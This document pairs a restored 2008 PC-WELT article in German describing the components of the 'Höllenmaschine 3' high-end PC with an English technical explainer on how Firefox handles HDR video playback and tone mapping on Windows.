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Hinweis: Dieser Artikel erschien am 3. März 2008 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.

Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der dritten Höllenmaschine:

Herzschlagfinale: Diesmal haben wir wirklich auf den letzten Drücker den Herstellern die Prototypen für die CeBIT aus den Händen gerissen und sind trotzdem rechtzeitig fertig geworden. Deshalb können wir Ihnen auf dem Messegelände in Hannover unseren 30.000-Euro-Super-PC live in Aktion präsentieren:

Vom 4. bis 7. März 2008 ist die Höllenmaschine 3 zu Gast am Stand von Thermaltake (Halle 24, Stand C02). Und am CeBIT-Wochenende, vom 8. bis 9. März 2008, finden Sie unseren Traumrechner in der Messehalle von Intel (Pavillon P33, befindet sich zwischen Halle 12 und 26). Dort finden die Intel Extreme Masters II Finals der ESL statt. Zwischen den Finalspielen präsentieren wir Ihnen auf der Showbühne am Samstag um 10:00, 12:30 und 16:45 Uhr sowie am Sonntag um 10:00, 12:15 und 16:45 Uhr die Höllenmaschine 3 live in Aktion.

Und wer es nicht zur CeBIT schafft, hat bei der Deutschen Casemod Meisterschaft 2008 eine weitere Gelegenheit, die Höllenmaschine 3 hautnah zu erleben. Der Wettbewerb, für den wir unseren 30.000-Euro-Rechner schon angemeldet haben, findet vom 19. bis 20. April 2008 auf der Hobbytronic in Dortmund statt.

Grafik: Quad SLI

Der erste Prototyp, den wir bei der Höllenmaschine 3 einsetzen, kommt vom Grafikspezialisten Nvidia. Die Referenzkarte Nvidia Geforce 9800 GX2 beherbergt gleich zwei Grafikchips, die gemeinsam die 3D-Berechnung übernehmen. In der Höllenmaschine 3 haben wir zwei dieser Doppeldecker-Grafikkarten verbaut, die über ein spezielles Datenkabel (Scalable Link Interface Bridge) verbunden sind. Dadurch beteiligen sich also insgesamt vier Grafikchips parallel an der 3D-Berechnung und arbeiten damit de facto im Quad-SLI-Modus.

Nvidias Doppeldecker-Grafikkarte Geforce 9800 GX2 besitzt gleich zwei externe Stromanschlüsse: eine 6- sowie eine 8-polige PCI-Express-Strombuchse. Wie viel die Geforce 9800 GX2 unter Volllast verbraucht, erfahren Sie nach der CeBIT in unserem großen Test zur Höllenmaschine 3.

Momentan verwenden wir die beiden Grafikkarten mit der von Nvidia entwickelten Kühler-Lüfter-Kombination. Die Zeit war für die kanadischen Kühlungsspezialisten von Coolit Systems einfach zu knapp, um passende Kühlkörper anzufertigen, die für die Kompressorkühlung der Höllenmaschine 3 ausgelegt sind.

Daher laufen die zwei Geforce-9800-GX2-Grafikkarten derzeit noch mit den von Nvidia freigegebenen Standard-Taktraten. Aber bis spätestens Ende März 2008 sollte die Spezialanfertigung von Coolit Systems fertig sein – wir rüsten sie auf jeden Fall noch nach, um dann auch noch die Grafikkarten übertakten zu können.

Apropos Taktraten: Die Geforce 9800 GX2 möchte Nvidia offiziell erst Mitte März 2008 vorstellen. Damit wir die beiden High-End-Grafikkarten bereits jetzt in die Höllenmaschine 3 einbauen konnten, mussten wir eine Vertraulichkeitsvereinbarung (NDA, non-disclosure agreement) unterzeichnen, an die wir uns natürlich auch halten.

Deshalb können wir Ihnen momentan nicht allzu viel über das Grafikartengespann verraten. Wie das nebenstehende Bild zeigt, besitzt Nvidias Geforce 9800 GX2 zwei Dual-Link-DVI-Ausgänge zum Anschluss von zwei Bildschirmen. Zur Leistungsfähigkeit der Doppeldecker-Duos sei nur so viel gesagt: Selbst das derzeit hardwarehungrigste 3D-Spiel Crysis läuft mit höchster Bildqualität bei hohen Auflösungen flüssig. Wenn Sie auf der CeBIT sind, können Sie sich bei einer der vielen Live-Demonstrationen selbst überzeugen.

Prozessoren: 8 x 4 GHz

Intel

Die beiden High-End-CPUs Intel Core 2 Extreme QX9775 zum Stückpreis von rund 1300 Euro arbeiten mit einem Werkstakt von 3,2 GHz – dank Kompressorkühlung laufen sie in der Höllenmaschine 3 stabil mit 4 GHz. Jedem Quad-Core steht ein gemeinsamer 12 MB großer L2-Cache zur Verfügung. Der Cache rechnet 24-fach assoziativ – das sorgt für eine effektivere Nutzung des Pufferspeichers.

Der Systemtakt des Core 2 Extreme QX9775 beträgt 400 (effektiv 1600) MHz. Damit erreicht der Transferdurchsatz, den jeder der beiden LGA771-Prozessoren pro Sekunde austauschen kann, bis zu 25,6 GB/s. Der 3,2-GHz-Quad-Core unterstützt Fully Buffered DIMM der DDR2-Spezifikationen PC800 und PC667. Dass der Core 2 Extreme QX9775 Server-Speicher benötigt und den CPU-Steckplatz der Xeon-Baureihe nutzt, ist kein Zufall: Der QX9775 ist eigentlich ein Xeon X5482, dem Intel einen freien Multiplikator spendiert hat und ihn so zum „Extreme“-Prozessor aufgewertet.

Das Prozessor-Duo basiert auf Intels 45-Nanometer-Architektur „Harpertown“. Mit an Bord der neuen Architektur sind 47 Befehle der x86-Erweiterung SSE4. Die neuen Instruktionen sollen vor allem Multimedia-Anwendungen wie Musik- und Video-Encodierung beschleunigen – sofern der Software-Hersteller die SSE4-Befehle in den Programmcode einpflegt.

Dies ist beispielsweise bei der aktuellen Version des Divx-Codecs und der Bildbearbeitung Adobe Photoshop der Fall. Aber auch 3D-Spiele soll SSE4 beschleunigen, etwa bei der Physikberechnung. Das ist aber noch Zukunftsmusik: Das erste Spiel, bei dem dies der Fall sein wird, ist der für Ende 2008 angekündigte Titel „Alan Wake“.

Mehrere Betriebssysteme: Der Core 2 Extreme QX9775 unterstützt die Virtualisierungs-Technik Intel VT sowie 32-und 64-Bit-Betriebssysteme – interessant für Nutzer, die etwa virtuelle Server mit unterschiedlichen Betriebssystemen einrichten möchten. Mit einem Acht-Kern-System wie der Höllenmaschine 3, die ja auch beim Arbeitsspeicher nicht knausert, lässt sich da so einiges realisieren.

Ausstattung der Höllenmaschine 3 im Überblick

PC-WELT

Hauptplatine: Intel Skulltrail mit 8 GB RAM

Wichtigstes Merkmal der rund 500 Euro teuren Intel D5400XS, Codename Skulltrail, sind die beiden LGA771-Prozessorsteckplätze – erst dadurch lassen sich die beiden Core 2 Extreme QX9775 parallel betreiben. Zu den weiteren Besonderheiten der Intel-Hauptplatine gehören zwei Nvidia-Chips namens Nforce 100 MCP. Sie bringen 32 zusätzliche PCI-Express-Datenleitungen sowie SLI-Unterstützung mit:

Damit kann Intel vier 16x-PCI-Express-Steckplätze auf der D5400XS unterbringen und diese auch jeweils 16fach elektrisch ansteuern. Da die beiden Nforce 100 MCP im Dauerbetrieb recht heiß werden, versieht Intel die zwei Nvidia-Chips inklusive der Northbridge mit einem Kühlkörper samt Lüfter.

Um die Stabilität der Höllenmaschine 3 zu erhöhen, wollen wir ab Mitte März die Intel-Lösung durch eine speziell angefertigte Kompressorkühlung unseres kanadischen Koopertionspartners Coolit Systems ersetzen.

Die Intel-Hauptplatine setzt auf den Server-Chipsatz 5400, Codename Seaburg. Beim 5400-Chipsatz arbeitet der Front Side Bus allerdings mit 400 (effektiv 1600) MHz. Den voll gepufferten DDR2-Speicher (FB-DIMM) bindet er ebenfalls mit 400 MHz ins System ein.

Die D5400XS im E-ATX-Format (305 x 330 Millimeter) sieht für jeden der vier FB-DIMM-Steckplätze einen eigenen Speicherkanal vor. Sowohl die Speichertaktraten als auch die RAM-Spannung lassen sich im BIOS der D5400XS manipulieren – ideal fürs Übertakten. Die maximale Ausbaustufe beträgt 8 GB fully buffered PC800- oder PC667-DDR2-SDRAM (4 x 2 GB).

Intel

Neben den vier 16x-PCI-Express-Steckplätzen, die allerdings nur den Standard PCI-Express 1.1 erfüllen, besitzt die Intel D5400XS noch zwei PCI-Steckplätze gemäß Version 2.3. Des Weiteren bietet die D5400XS-Hauptplatine noch einen Anschluss für zwei IDE-Laufwerke sowie üppige sechs SATA-300-Port inklusive zwei eSATA-Buchsen. Hinzu kommen zehn USB-2.0-Ports, zwei Firewire-Anschlüsse und eine 10/100/1000-MBit-Netzwerkbuchse. Bereits im Chipsatz integriert ist ein HD-Audiochip für 7.1-Raumklang mit einem optischen S/PDIF-Ausgang und den fünf üblichen Klinkenstecker-Buchsen.

Arbeitsspeicher: 4 x 2 GB DDR2-SDRAM

Wir bestücken alle vier Speicherbänke der Intel D5400XS mit Fully Buffered DDR2-800-SDRAM – und zwar mit den 2-GB-Modulen Samsung M395T5663QZ4-CF76. Die Speicherriegel nutzen zusätzliche Datenleitungen für die Datenintegritätsprüfung. Für eine schnellere Datenverarbeitung steht jedem Speichersteckplatz ein eigener Datenkanal zur Verfügung. Die FB-DIMM-Module laufen mit den Zugriffszeiten 666-11 und arbeiten mit effektiv 800 MHz.

System-Festplatten: 4 x SAS

Die Höllenmaschine 3 vertraut auf Server-Laufwerke für die Betriebssystem-Installationen. Dazu nutzen wir vier 300-GB-Festplatten mit der Punkt-zu-Punkt-Verbindung Serial Attached SCSI (SAS). SAS ist der Nachfolger der parallelen SCSI-Schnittstelle und bietet eine theoretische Datentransferrate von bis zu 300 MB/s, die sich im Gegensatz zu SATA 300 in der Praxis mit Raid-Konfigurationen auch tatsächlich annähernd erreichen lässt.

Unsere Wahl fiel auf das Modell Seagate Cheetah 15K.5 ST3300655SS mit 300 GB Kapazität. Preis pro Stück: rund 500 Euro. Das 3,5-Zoll-Laufwerk rotiert mit 15.000 Umdrehungen pro Minute, der Datenpuffer beträgt 16 MB. Die durchschnittliche Zugriffszeit der Cheetah 15K.4 liegt laut Hersteller bei 2 Millisekunden.

Die Zuverlässigkeit respektive MTBF (Mean Time Between Failures) der SAS-Laufwerke gibt Seagate mit 1,4 Millionen Betriebsstunden an. Die Annualized Failure Rate (AFR), also die Wahrscheinlichkeit, dass ein Laufwerk innerhalb eines Jahres ausfällt, liegt laut Hersteller bei 0,62 Prozent. Hier gibt’s detaillierte Informationen zur Seagate Cheetah 15K.5 ST3300655SS.

Noch mehr Tempo kitzeln wir aus der Cheetah 15K.5, indem wir die vier der SAS-Laufwerke mittels der PCI-Express-Controller-Karte Adaptec ICP Vortex 5085BL zu einem Raid-10-Verbund koppeln. Zwei Laufwerke fungieren dabei als Raid-0-Verbund: Dadurch lässt sich im Idealfall die Datentransferrate fast verdoppeln, da der SAS-Controller den Datenstrom in kleine Pakete zerlegt (Striping), die er simultan auf das Plattenduo schreibt beziehungsweise davon liest. Um eine hundertprozentige Datensicherheit zu gewährleisten, arbeiten die beiden anderen SAS-Laufwerke im Raid-1-Modus und spiegeln so den Datenbestand des Raid-0-Verbundes.

Umsonst gibt’s die Datensicherheit allerdings nicht: Durch den Raid-10-Verbund halbiert sich die nutzbare Kapazität des Laufwerk-Quartetts auf knapp 550 GB. Damit Systemprogramme und Applikationen möglichst verzögerungsfrei starten und arbeiten, haben wir die Betriebssysteme sowie alle Programme und Benchmarks auf der SAS-Partition installiert.

Massenspeicher: 4 x 1000 GB

Ausreichend Platz für umfangreiche Musik- und Video-Sammlungen gibt’s auf der zweiten Partition der Höllenmaschine 3: Sie besteht aus vier 1000-GB-Laufwerken des Typs Seagate Barracuda 7200.11 ST31000340AS, die für den 24-Stunden-Betrieb ausgelegt sind. Wir haben die vier Terabyte-Speichermonster ebenfalls zu einem Raid-10-Verbund gebündelt. Die Festplatten bieten dann zusammen eine formatierte Kapazität von knapp 1,9 Terabyte. Der Pufferspeicher der Barracuda 7200.11 beträgt übrigens 32 MB.

Die Barracuda 7200.11 setzt auf die SATA-300-Schnittstelle, die eine theoretische Transferrate von bis zu 300 MB/s erreicht. In der Praxis erzielen Sie diesen Wert zwar nicht, bei einem Raid-0-Verbund aus zwei Platten dürfen Sie aber durchschnittlich mit deutlich über 100 MB/s rechnen. Damit verwalten und archivieren Sie selbst große Videodateien sehr flott.

Die Seagate Barracuda 7200.11 ST31000340AS ist technisch auf der Höhe der Zeit: Das 3,5-Zoll-Laufwerk beherrscht die Technik Native Command Queuing (NCQ). NCQ erlaubt der Festplatte, die vom System geforderten Zugriffe selbstständig zu verwalten. Sie kann so die optimale Reihenfolge der Zugriffe ermitteln: Das spart zusätzliche Drehbewegungen, verkürzt damit die Wegstrecken, die der Schreib-/Lesekopf zurücklegen muss, und sorgt ergo für ein höheres Tempo.

Eine höhere Datenübertragungsrate lässt sich auch mit Perpendicular Recording erzielen, da die Datenbits nicht mehr horizontal, sondern vertikal auf dem Datenträger angeordnet sind. Auch diese moderne Technik setzt die Barracuda 7200.11 ein. Hier finden Sie detaillierte Informationen zur Spezifikation der Seagate Barracuda 7200.11 ST31000340AS.

Multi-Spieler: Blu-Ray, DVD und HD-DVD

Die Höllenmaschine 3 haben wir zudem mit einem Blu-Ray-Brenner bestückt. Der LG Electronics GGW-H20L beschreibt BD-Rs, BD-REs sowie sämtliche DVD-Rohlingstypen und liest alle gängigen Medien, darunter auch HD-DVDs. Der Pufferspeicher des internen 3,5-Zoll-Laufwerks beträgt 4 MB.

Bei maximalem 6-fachem Schreibtempo schaufelt der GGW-H20L bis zu 26,3 MB pro Sekunde über die SATA-Schnittstelle und füllt so einen einlagigen 25-GB-BR-Rohling in rund 15 Minuten. BD-REs beschreibt der Blu-Ray-Brenner mit 2‑facher Geschwindigkeit. Blu-Ray-Medien liest der LG Electronics GGW-H20L ebenfalls mit 6-fachem Tempo und HD-DVDs immerhin mit 3-facher Geschwindigkeit.

DVDs sowie CDs liest der Blu-Ray-Brenner mit maximal 16- beziehungsweise 40-facher Geschwindigkeit, DVD-RAMs mit 5-fachem Tempo. DVD±Rs beschreibt das Laufwerk mit 16-fachem, DVD-RWs mit 6fachem und DVD+RWs mit 8fachem Tempo. Dual-Layer- und Double-Layer-DVD+Rs brennt das interne Laufwerk mit 4-facher Geschwindigkeit, DVD-RAMs mit 5-fachem Tempo. CD-Rs sowie CD-RWs beschreibt der Blu-Ray-Brenner mit 40‑fachem respektive 24‑fachem Tempo.

Im Lieferumfang des Blu-Ray-Laufwerks enthalten sind die Programme Cyberlink Power DVD7, Cyberlink Power Producer 4 und Power 2Go. Hinzu kommt ein BD-RE-Rohling mit 25 GB Kapazität. Neben dem GGW-H20L haben wir als zweites optisches Laufwerk einen DVD-Brenner von Samsung eingebaut.

TFTs: 30-Zoll-Breitbild und 7-Zoll-Touchscreen

Für viel Übersicht sorgt das 30-Zoll-Breitbild-TFT Eizo SX3031W für knapp 2500 Euro, das wir der Höllenmaschine 3 zur Seite stellen. Die physikalische Auflösung des LCD-Bildschirms beträgt 2560 x 1600 Bildpunkte. Zudem kann der Eizo-Bildschirm gängige PC-Auflösungen im 4-zu-3-Bildformat wie 1600 x 1200, 1280 x 1024, 1024 x 768 und 800 x 600 Bildpunkte sauber skalieren.

Die Helligkeit des TFTs mit einer Bildschirmdiagonalen von 75,6 Zentimetern liegt nach Herstellerangaben bei 260 cd/m² und das Kontrastverhältnis bei 900:1. Den horizontalen und vertikalen Blickwinkel gibt Eizo mit jeweils 178 Grad an. Die Horizontalfrequenz liegt zwischen 31 und 100 kHz, die Vertikalfrequenz bewegt sich zwischen 59 und 61 Hz. Die Reaktionszeit gibt Eizo mit 6 Millisekunden an.

Der 30-Zoll-Breitbild-TFT misst 68,9 x 48,9 x 27,2 Zentimeter (B x H x T). Der SX3031W bringt mit Standfuß 15,3 Kilogramm auf die Waage. Anschluss an die Höllenmaschine 3 findet der Bildschirm über einen der beiden DVI-D-Buchsen, davon ist eine als Dual-Link und eine als HDCP-kompatible Single-Link ausgelegt.

Alternativ kann der Eizo-Bildschirm an beiden DVI-I-Eingängen jeweils Single-Link-Signale zweier PCs oder zweier Grafikkartenanschlüsse verarbeiten. In diesem Fall zeigt der 30-Zoll-Breitbild-TFT die beiden Bilder nebeneinander (Picture-by-Picture) und kann so als 21-Zoll-Zweischirmlösung fungieren. Hier finden Sie detaillierte Informationen zum Eizo SX3031W.

Mehr Flexibilität: Der 7-Zoll-TFT-Touchscreen ist für den Cube-Tower Mozart TX VE 1000BNS von Thermaltake konzipiert – die Gehäusebasis der Höllenmaschine 3. Dabei ist der Bildschirm in einem Laufwerkseinschub integriert und lässt sich in die Gehäusefront versenken. Die physikalische Auflösung des Touchscreens beträgt 1280 x 768 Bildpunkte. Die Stromversorgung des LCD-Bildschirm erfolgt über das Netzteil der Höllenmaschine 3. Mit im Lieferumfang des 7-Zoll-TFTs befindet sich eine Infrarot-Fernbedienung.

Stromversorgung: 2000 Watt

Keine Kompromisse machen wir bei der Stromversorgung und setzen das stärkste Netzteil ein, das wir bekommen konnten: das Thermaltake Toughpower 2000W, ein weiterer Prototyp, den es derzeit noch nicht zu kaufen gibt. Das 2000-Watt-Kraftpaket erfüllt mit ATX 12V 2.3 sowie EPS 2.92 die aktuellen Spezifikationen für Desktop- und Server-Netzteile.

Das Thermaltake Toughpower 2000W besitzt zwei voneinander unabhängige 12-Volt-Schienen, die jeweils bis zu 80 Ampere Stromstärke liefern und unsere beiden Quad-Core-Prozessoren jeweils über zwei vierpolige CPU-Stromstecker versorgen. Ebenfalls auf dem neuesten Stand der Technik sind die sechs 8-poligen (6 + 2) PCI-Express-Stromstecker.

Kompressorkühlung

Bei der recht hohen Leistungsaufnahme – die exakten Verbrauchswerte liefern wir noch nach – ist für den stabilen Betrieb der Höllenmaschine 3 eine effiziente Kühlung der hitzigsten Komponenten unverzichtbar. Diese Aufgabe übernimmt diesmal ein Kompressorkühlungssystem von Coolit Systems.

Die Prozessoren kühlt das Modell Freezone Elite, das bis zu 250 Watt Verlustleistung aufnehmen kann. Auch die beiden Grafikkarten und der Hauptplatinen-Chipsatz werden von speziell angepassten Kompressorkühlungssystemen unseres Kooperationspartners Coolit Systems gekühlt. Details erfahren Sie, sobald wir die Höllenmaschine 3 mit den Sonderanfertigungen aufgerüstet haben.

Gehäuse-Unikat: Casemod für 6000 Euro

Für die Gestaltung des Gehäuses konnte die PC-WELT wieder den Modding-Profi Heiko Polaczek engagieren. Der auch unter dem Alias „Fastbrain1“ bekannte Polaczek, ist seit 15 Jahren eine feste Größe in der internationalen Casemoding-Szene.

Ebenfalls eine Szenengröße konnten wir für die Bemalung der Höllenmaschine 3 in Airbrush-Technik gewinnen. Der Experte ist allerdings so bescheiden, dass wir derzeit nur seinen Spitznamen nennen dürfen: old_airbrush.

Die Höllenmaschine 3 ins rechte Licht gerückt hat der bekannte Fotograf Florian Schiller – er hat langjährige Erfahrung mit Divas.

Der Casemod „PC-WELT Höllenmaschine 3“ summiert sich mit Material und Arbeitsaufwand auf rund 6000 Euro. Wie Heiko Polaczek und old_airbrush aus dem Cube-Tower unser exklusives Schmuckstück geformt haben, erfahren Sie in Kürze auf PC-WELT.tv in der Beitragsreihe „Making of Höllenmaschine 3“.

Software: Luxus-Paket für 5000 Euro

Die Adobe Creative Suite 3 Master Collection für knapp 3500 Euro enthält folgende Anwendungen: Acrobat 8 Professional, After Effects CS3 Professional, Contribute CS3, Dreamweaver CS3, Encore CS3, Fireworks CS3, Flash CS3 Professional, Illustrator CS3, InDesign CS3, Photoshop CS3 Extended, Premiere Pro CS3 und Soundbooth CS3.

Mit im Lieferumfang der Adobe Creative Suite 3 Master Collection sind die Zusatzfunktionen und -techniken Acrobat Connect, Bridge CS3, Device Central CS3, Dynamic Link CS3, OnLocation CS3, Stock Photos, Version Cue CS3 und Ultra CS3.

Egal, ob Sie die Höllenmaschine 3 als Render-Workstation, High-End-Spielerechner oder Virtualsierungs-Server verwenden wollen, mit den installierten Betriebssystemen Microsoft Windows Server 2008 sowie Microsoft Windows Vista Ultimate stehen Ihnen zahlreiche Einsatzmöglichkeiten offen.

Und wer die Höllenmaschine 3 im Büroeinsatz unterfordern will, installiert das beiliegende Microsoft Office 2007 Professional. Das Software-Paket enthält die 2007er-Versionen von Access, Accounting Express, Excel, Outlook (mit Business Contact Manager), Powerpoint, Publisher und Word.

Nach der CeBIT beginnen wir unsere Tests mit den 64-Bit-Betriebssystemen Linux, Server 2008 und Vista.

Apropos: Ein perfekter Bedienkomfort gehört natürlich auch zu unserem 30.000-Euro-Luxusrechner. Dazu stellen wir Ihnen Eingabegeräte von Gyration zur Verfügung. Maus und Tastatur stammen aus der Optical Air Suite Go 2.4. Dazu kommt die Remote Suite des Media Center Go 2.4.

So gewinnen Sie die HMX 6

Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern

Wie Sie die HMX 6 verfolgen können

In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

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A primer on video playback for the web:

• Video file demux and decode: A video stream generally consists of parallel image and audio streams, along with captions, HDR scene metadata, and the like. “Container” formats like MP4 or MKV specify how these streams are combined, or multiplexed, into a single byte stream for transmission. On receipt, Firefox needs to divide that byte stream back into the individual media streams; this is de-multiplexing or “demuxing”. Then Firefox must uncompress the data to get images, audio samples, and so on. Firefox’s media team provides the demuxers, and pulls in appropriate codecs to decode them. We prefer using hardware video decoders if they work reasonably well. Video decompression usually produces roughly a YUV 4:2:0 image in NV12 for SDR or P010 for HDR. (If you visit about:support in Firefox, and search for Codec Support Information (or one of the codec names like AV1), you can see a whole feature matrix of support details for which codecs are hardware and software on your system.)
• Gecko displaylist building: Given a demultiplexed, uncompressed frame of video, Gecko displaylist building incorporates it into a video element in the displaylist being sent to WebRender. If the frame was decoded in hardware, it is generally represented by a texture in GPU memory. Or, if it was decoded in software, then it is represented by a memory mapping holding some raw pixel data in system memory shared with Firefox’s media decoder process.
• WebRender: Given the video element in the displaylist, WebRender decides whether to promote it to a desktop compositor overlay, or whether it must instead be rendered using a pathway more like an ordinary HTML element. A compositor overlay is faster and uses less power; on Windows this uses DWM with the DirectComposition API, which manages a graph of visuals. But if complex CSS is involved (rounded corners, blur filters, or similar features), Firefox must use WebRender’s ordinary rendering pathway. Currently the latter is not HDR capable, so Firefox favors the desktop compositor overlay for animated elements such as video and canvas.

As we began designing Firefox’s HDR support, we had to lay out some assumptions and found many complications:

• Initially, we had hoped that on a modern system, BT2100 HDR videos could be displayed on Windows by simply sending them to DirectComposition.
  • In theory, the Desktop Window Manager (DWM) honors the DXGISwapChain3::SetColorSpace1 method which should let us request either DXGI_COLOR_SPACE_YCBCR_STUDIO_G2084_LEFT_P2020 or DXGI_COLOR_SPACE_YCBCR_STUDIO_GHLG_LEFT_P2020. The former refers to SMPTE 2084, more commonly called PQ, the Perceptual Quantizer function and the latter is ARIB-STD-B67 also known as HLG, the Hybrid Log Gamma function, most commonly used on HDR TV broadcasts.
  • Unfortunately, this was a dead end. In testing with a mocked up compositor test app, calling SetColorSpace1 with this value seems to be ignored on P010 (at least in testing on AMD), so it incorrectly displays BT2100 PQ video as if it were BT709, which makes the video dull and muddy, since BT709 is a narrower gamut than BT2020, and the BT1886 transfer function used by BT709 is very different from PQ defined by BT2100. SetColorSpace1 may work on other vendors with P010, so it may be a valid optimization, but we were looking for a universal solution.
  • For the future, Windows 11 23H2 has added a new interface called IDCompositionTexture which may serve our purposes better; from what we have been told, it is universally supported for all formats and color spaces. We haven’t used it for video so far, but it’s an interesting future direction.
• As noted above, HDR videos must use a desktop compositor overlay. HDR video uses the BT2100 PQ colorspace with an RGB10A2 format, while WebRender can only work with images in the sRGB colorspace (appropriate for standard-dynamic-range BT709 video).
  • Until HDR came along, Gecko and WebRender only used desktop compositor overlays as a power/performance optimization. With HDR, overlays become a necessity as the pixel format and color space differ from classic sRGB.
  • Fortunately, HDR videos tend to be shown without particularly fancy CSS rendering such as clip masks and rounded corners, which would require WebRender to perform further copies. Technically, DirectComposition does support all of those features, but Firefox doesn’t use that functionality much.
  • In the future, we expect to upgrade WebRender for HDR rendering, allowing us to deal with complex cases like clip masks or blur filters on video elements.
• We considered whether we could use VideoProcessorBlt, or whether we should write our own shader instead.
  • In favor of VideoProcessorBlt:
    • It uses less power on GPUs that have a video processor unit.
    • We discovered in testing (using CheckVideoProcessorFormatConversion) that while many modern GPUs support one of the needed conversions (P010 PQ -> RGB10 PQ), few support the ones we need for HLG videos (P010 HLG -> RGB10 PQ).
    • The ‘video-dynamic-range’ query used on the web is not fine-grained enough to be able to say “the web browser can display PQ video but not HLG video”, so if we went with VideoProcessorBlt as a required feature, only about 20% of HDR desktop users would be able to use the feature.
    • In the future, we could explore using VideoProcessorBlit to save power on hardware that supports the conversions we need. But other web browsers are not using this functionality, so there may be more issues we haven’t found yet.
  • In favor of writing our own shader with all of the features:
    • This would work consistently on all vendors – nothing special here.
    • This would look the same on all vendors, regardless of hardware capabilities. This is generally the aim of web standards.
    • This would support anything we want it to. HDR tonemapping can be implemented. Video orientation can be implemented (for videos recorded on phones which may be rotated 90, 180 or 270 degrees). We can support any kind of YUV->RGB conversion with a color matrix (even weird legacy formats like GBR 4:2:0).  We can support conversion between color primaries (e.g. BT2020->BT709).  We can convert to linear color (for scRGB using RGBA16F) or any EOTF we want (notably BT2100 PQ with RGB10A2, for our use-case).
  • In the end we went with the shader after a significant period of time experimenting with VideoProcessorBlt in our Nightly releases.
• There is a very large amount of graphics code in Gecko and WebRender that needs to be upgraded for HDR.
  • We decided that the most important code paths to upgrade first are the ones for regular video playback and DRM-protected video playback, and later canvas video import (Canvas2D, WebGL, WebGPU) which will require upgrading canvas for HDR first – another big project.
  • We had to upgrade several dozen structs to carry the transfer function for video data, as previously all code assumed video used BT1886 EOTF.
• We hope we can avoid tone mapping HDR content when viewed on HDR displays.
  • It’s reasonable to expect that most displays going forward will be HDR displays (partly because of marketing momentum, partly because displays are made by a very finite set of manufacturers who are all making HDR display panels), and eventually tone mapping may become unnecessary on the web.
  • For the short-term we will have to apply a tone mapping effect when HDR content is viewed on SDR displays, likely using  ‘Reinhard tonemapping’ which refers to the widely available paper Photographic Tone Reproduction for Digital Images by Erik Reinhard et al, and configuring it for a fixed brightness ratio of 400 cd/m^2 -> 100 cd/m^2 when used on SDR displays, and see if that fits all HDR content on the web well enough for a good user experience – and if it does not, we will iterate based on feedback from users on Firefox Nightly.
  • We are hoping that we will never have to apply tonemapping for HDR content on HDR displays, there are multiple factors in this decision:
    • Varying the brightness limit would make it a significant fingerprinting vector if not handled very carefully if the script can inspect pixels or parameters related to that.  There are ways to mitigate this but they are all awkward restrictions to impose, and queries would have to get a different answer than what the rendering is using.
    • Phones and laptops with light sensors may vary the reference brightness in real time, and this changes the maximum displayable ratio (aka HDR headroom) every refresh, which is also a major battery drain if we keep redrawing all of the time.
    • Documents composed of multiple images (a gallery or some form of art composition) would apply different tonemapping to each image if the brightest pixel in each image is different brightness).  We’d have to do something about that to make it controllable via CSS.
    • In general the detailed parts of an image are within a certain brightness band – see Debunking HDR for a detailed lecture on film grading and why you would not have significant difference in brightness between scene elements.
    • User feedback so far has indicated that not applying tonemapping has given them a better viewing experience on some videos.
• WebRTC is implemented using a library, common to all web browsers, which has limited support for HDR.
  • While we didn’t prioritize this for an initial feature launch, we are looking at how to implement HDR support properly in libwebrtc. This is in the early assessment phase but we know this is wanted for a couple of use-cases, like video calls for meetings, or game streaming with friends watching.